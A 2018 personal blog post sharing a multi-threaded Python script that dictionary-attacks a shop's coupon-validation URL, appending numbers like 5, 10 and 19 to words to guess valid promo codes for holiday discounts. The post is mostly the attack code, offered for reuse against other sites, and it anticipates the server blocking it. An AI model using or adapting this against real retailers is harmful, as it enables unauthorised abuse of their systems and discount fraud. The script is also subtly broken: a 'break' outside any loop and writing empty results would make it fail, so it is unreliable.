Friday, December 14, 2018

Promo/Coupon Code Brute Forcing

With the Christmas holiday coming up, I was on the hunt for some good promo codes to get some discounts.  I wrote a quick multi-threaded python script to run a dictionary attack against a URL that checks for valid codes.  It'll have to be slightly modified for every URL, but the framework is there...

import requests, json
from multiprocessing.dummy import Pool as ThreadPool 

pool = ThreadPool(4) # sets up 4 threads


#this builds the numbers that will be appended to the end of a word.
#i'm doing word5, word10, word15, etc..., as well as the year (word19)
nums=[]
for num in range(10):
 nums.append(str((num+1)*5)) #10,20,30, etc..
 nums.append("19") #just the year
 

words = set()
with open('words.txt') as f: #open words.txt (the dictionary)
 for line in f: #for each line, 
  words.add(line.strip().upper()) #change it to uppercase, take off the newline, and add just the base word to the array
  for num in nums: #and for every number in nums, 
   words.add(line.strip().upper()+num) #add it to the end of the word, and add the term to the array
   
print "guesses: ", str(len(words))
url1 = "http://site.site.xyx/promoLink?couponCode=" #first part of url to attack
url2 = "&field=x&field2=y" #second part of url to attack 


#this is the function that takes a word as an argument.  
#every thread will pull a word from the words array and run through this function with it
def guesser(word):
 url = url1+word+url2 #form the url to attempt
 req = requests.get(url) #send the request
 if req.status_code!=200: #if it doesn't get a 200 back, 
  print "Server might be blocking us!  Abort abort!"  #print out a warning
  break
 req = json.loads(req.text) # load the response into a json object
 if req['success']!=False: #if the 'success' element doesn't equal false, 
  print word, "WINNER WINNER CHICKEN DINNER!" 
  return word #return the word
 else: #otherwise, 
  print "Word: ", word
  return #return nothing
  
results = pool.map(guesser, list(words)) #this actually kicks off the threads
pool.close()
pool.join()
final = set()
for res in results:
 final.add(res)

f=open('hits.yay', 'w')
for result in final:
 f.write(result)
 f.write('\n')
 
f.close()